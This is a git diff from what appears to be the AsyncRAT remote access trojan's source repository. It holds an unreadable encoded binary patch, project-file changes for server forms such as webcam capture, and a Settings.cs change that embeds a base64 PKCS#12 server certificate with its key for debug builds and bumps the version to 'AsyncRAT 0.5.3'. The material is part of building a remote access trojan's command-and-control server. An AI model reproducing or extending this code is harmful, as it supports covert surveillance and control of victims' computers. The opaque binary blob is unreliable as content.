z7dt9WW%$N03a{b?0TeA<+_G(3^W1Gsw6MKDol7Ts(^sYz?{Im$Qn_s%_#wC^TAj}3 zw$G-4TxK?HayGa3=bGmLQP++uk^>6sJin=>EtScocc#0Oxzrr4Fo(8g(zz7ZnK#$1 z3}j_0*P3;i9VNIZMY*fAP-XT!)gG>H5wLCBI&#Tey1O-#Ne*!bHVqA=I?#nh^Kh@H zwYh2D1uYjWyI@7@{HA3~+g7wLo!>OKxvBO1mU-vTZ)u)Cx8?k~7qAa#;TorBus5}s z7Ou~v_rvt|zJcCUU#g$gJN?U2xn#OGyO>tC(W7q018ym#BS zrOEEScpYLzI@Q}l3-czOUQ$x^^uo4e_wG~=PlVIUmJaURnaX6(ShgwMz4!DQ?S08z zsr4DBJC)6@M%PZ4Xxp9Y-i!A#&Qzw_J42n`G^W?-{ElpI+gXalkPU-aq`9HfD&~h^ zO>&@ZcN)&iGh}fnR$Fo)H<(GaVw^G7)H*Q07c~;>_+1%i5RAT5Znx7zE7H9wtcw&$ zyWDf326H>-FYo6$OFXTlkXB@zK7}pIB(G3do6|Rt%%qkd=-!>|-<9Io)84<|*_%@H z$Hm*1_Yd}^GRYmiXlPkFJK$sm-{dTF2ARpr-9-H6!*?Z70= zbYSiP-{iQ6gccW93ym%1o>50~e`@JaE|uNn2)z@`waLDe%-c1XLFxV?jRl{P!d~YJ z7lUfy^m837&eSHD2AA~hKt)>X0PwnB11^Up>dPa{-NI2o*b)x}Ta(?j9)ln_rd!VG zc6x>A;PoW2O~#~SH@r%1y$*g>sC6*sD5s@peKG^iDKVJPQo0A$sbEqPooO5Tg!od* z>MjOvlEASnwPSD>hpK)!c3G-7wF|0f&0sI0ZZexIaJWxx$$l9F_Q3$0nUUZE`JUDs z-f`M7h?<-G(IU179%7z7#S&?07xRleDB60GI3ft^YAr23MX zy+tjXk{Ot{0>5gSy22?f$k*ZF-@-A$=`YsmNOccl;~H9@%JikPW6Sat5zTg{cMWD_ zlPFfr7cWa?yEEwljxNi+Qfsk2njPjW%+L-E19uO>BEYIu2#ON99&YfP+ z<_rvF(z|w_u?P#Xf2df;T}Rv|+S!rjfKpP5h|UW`tti3L9N%Tms{KnA57u6vvtP~f zV#JkjQbI~B;7|(}3mBjCsL28pD7_`ZCeKNP3Fu!)o zFl|lu08{%$k0RLY)v5kn;6vL0Lf^U_d#D$wCSM(V-H1r7S)?Ux$===_5Rz$^OO=Ez zH^gC?6=XOTXA0ETWI9(My7PLVof{SNc;}b-BM4h2^R{HySKH(%sesfi?*3}-7m@+m z0n2D7gERy9h%bYPyUlYNdwP4_Obc;hZ_XJIPG5F^cP1yOjP=?3$bc5z-}`L7ok)6EVuk47o&B@z^!kXizFn zLb|IQ!^nog)L@Et%B^U=ojL0Uu(RhdantvlkTI9*vIihb?#7e zGT^RD-X03uPjO9-Wvlh5dUgikQwzkUOX0m#vR`>MPjL9;)S#m~lS=jT@x;Y?K_M6D z?a2U<&2@J&%`Ap0Qx;dO>u^^rT|BUhBWnifBBmtm8B4Cd@`}>Z-m#>+%JQ2}Blh>* zNE7)u#k$z%NW>JuCa+H)NcFm2MtQzotEBh&NV74u(@pqK%?^r30a3l)$>I>dq;+sQe5~9Mo7BSv3oGr<6O~?Eq`x6Uwf`tejt}g zw)gLJR7NT4gj|M0S4uFPA*3xKFbFDOWQ0sf(y4G6NTj+1i(plcIyun}IY7~lz5yh$ zeciaQ$2Q@w9Mwp;6|eIYx?C)hWuGsRh(>TEG~fu1 z)V*Mhtj81%UI@3G)34&$t?Kes-YIrD+Cf`B*I5C&!M>I3p>7PfH3@v4~@gqWN5-u+>ho zhjY-@tfFNSxI#Q13S5OCZ&1h%KD}UFadrb6_Tgj*!?V5l!$VdwhfN4~S(P{_R4Oaf zT~acE3Vq(1Mnt|M+qlBX^eOMR_V%i1Sdc0BrI;QU%1Y*oj9p3Cz(A*Rva`AiDa%`e zS|qSm9q(49dNH~4PR)pMJf~IPoZfWz(DF>i0i8u(OKEXpH=onh>4jT{Gj?$(&Yx#E zToicuNSvQ`*g6|k_{tI=c(H1-2w;4&7j*dnWG8vcde}k9ob*xRuuIEgU(xHhMXgzd ztA(y`8DWLWB3I}NI3B4FPP7D72t`PqTpHOBvt8HXDz{Zi%yy$L4s{ZJ^Ccx?QCPcJ zn2j4#Fh?w3o!Y68RVh9_xKp{urJR9n%MT2|<>?%C;EM7C0PU@ukwFPgGT55svI}8N z-MNsE=%UOm+|rPOB2}`vVeY#XmiO;ZXPkb%_r~FjFK-fuxG#uYZ$(V(b4B|cBw^c9 z`&m2l`6QD|;Rc0-OLx{{HVUSuXB#4rqA`1Tia8m@>Xw3)sT>d2Mh8ECpprD)n#}Ns zNzkR9>_6Xlg+M3_N9A=WGfvQa*u=Qe%uYj#H~L>vXE)R-)E(%8&CZxTI8-l`F_?=z5#Mc zk;(BN*#=yl5@VSLJegG$f zy4-SHbTEInP-EKM$}JoKzZcJP9MnNN4oR-Vy86ZXILi0A-pK185WDw7PWdyACotR| z*B`*2q?J-}x&mcAV!?T0MH+qDE$t*l&p+4Fj?$K@($eNG*mxf8LEE@P0bd@(ldc8u zaWf60A9=bHJ`@_S*Co)qlz1=$2{k8r@Dz!AI3#-FcJqp8L z$hdejbe>-80+e!XuEAG+33&F%y`Otv#9H#C=j7T>M24i=s15t@(~cu|+4!3wut#SHZM7|9 zBCHa-wTTtFm$*C7sZB&r;X>59)&|P{1sd|=!P@8=MNEWT$SuGhRYMCTP#v9w(B&{{ zl2^tBB^b^Sk4p$WvOJMZ{4YT8O-lV&R-t(&Q^jOFCY_AmwbCM+I;@6?dO3V(`|Ya8 z$j340qv*+P_>X%un&*{!mvaXqLnvTz7PEO&1!2H`_4~oWEbwyY;g50bvU07U8Dy0E ziy^^7LzG1^E2&)LY3TP`21ZjFf`iI6sf>=or=znmt12xYDEN1hm)nCeU1|VEXW}Qv zSqLL+n32&zOUOaLiMbLPdBnuD=$ho^DGfD|k;fw=pMiT&^f=E9mU-N=bfIBXXp+}w z83iX}B26?QjZVwB`2_|o@l0f{$I@)W(lGBVNQA1wBi{rOnd`&TXU3ysxjgigyQ}FT z%QE0g+XkUw7%_k*RD|an_!THW1D?8pAOrkKq812`dGA@M zJcEU1!BSkx)Fr4cJQ83A)WuX6KQ27&;A<>FUW+;&l zw2==sY9m*$#=g*tn(mXfSG{2=v+oV@?>`f0qlX`HCW1!|S zBOCDD?1AHS6ThGk>C#PIHzxwS9N(mF;%8rMj~Oll#oV}V1`HEx5BLxxcLCXi$v*N3 zgU1$GfxMCh(wXgg?~9hFZ4u`evH<{NGg&J_esG%gkS^#;E^G`P$B`r#{oQG#5GO8 zL@zLO0+F|@0wH4@R<%T)yRb?v1VV(^dl4%lL*slRx?13R8GA=F|1B(LmHtQa$qJa#$a4gO--V~-o>6B=>H2cr>E0TBtX#(38H zVXEubGH!mZOThTZT$qLBFVHVAD3F)8&5@a-4tfqQR-J6QW$c6?S8n3&&xaSWSKf;y z#e3$xOk(BU3zF-Kk4Nqe;Vl{_CwW~)(7l$qSKYk^+^gTurlJBITOKze`&^uNU0A3^ z_6Zzf1H2dFL}_}MK?1`wBf5){C9BEGhfz<_!I zFenLl#s)KlFMf@ef+$3vQ8*tj_VNnG4}RdU3}}-c+lu=ic(Pfz;fIqB?i6T{<2Znv zlw$&wX=Ke-%aI8GTZEd%waYgZp1(EZS1kWJ0sacotp4QP18Q+6h9S3RIrU5%R26SwDyuIZ8MkMn*HdPjn~`$ z!WOqJxQuUGXD?gZc3IXL#L@e*ObWL>FB@~$@DvJ1^2_k3E|tut#+Eb=^z5LgVNU+@ zBIEHqHTL?w5;>x6ZBAxcZ|@quw=5wpm6AsRQs<57P=fca&!fx6>ToIkD|7i>x{(qxB531zpf1*;CGwYA8lx@5C8b=mP0G*Gqt2_K-wQd zZ}}{iawUlHf1bm?e0%B?$LGK_P6%V|WS=85D#&hu7TicK>C0@qmDg1G;ob{b;+l#Devp2639PgrM61QFb*>I>oi*ouz?AaPTd`01cs+DEuz3(Cpwzn=f@*VKtxS`!L$Q=ye=3ZLHT%tydV>|B1+m`Wdi4FormWebcam.cs - + + @@ -317,12 +318,15 @@ - - - + - + + + + + + diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index f10b06e..5818325 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -14,9 +14,13 @@ namespace Server public static long Sent { get; set; } public static long Received { get; set; } - public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; +#if DEBUG + public static string CertificatePath = "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"; +#else + public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; +#endif public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.2"; + public static readonly string Version = "AsyncRAT 0.5.3"; public static object Listview1Lock = new object(); public static object Listview2Lock = new object(); public static object Listview3Lock = new object();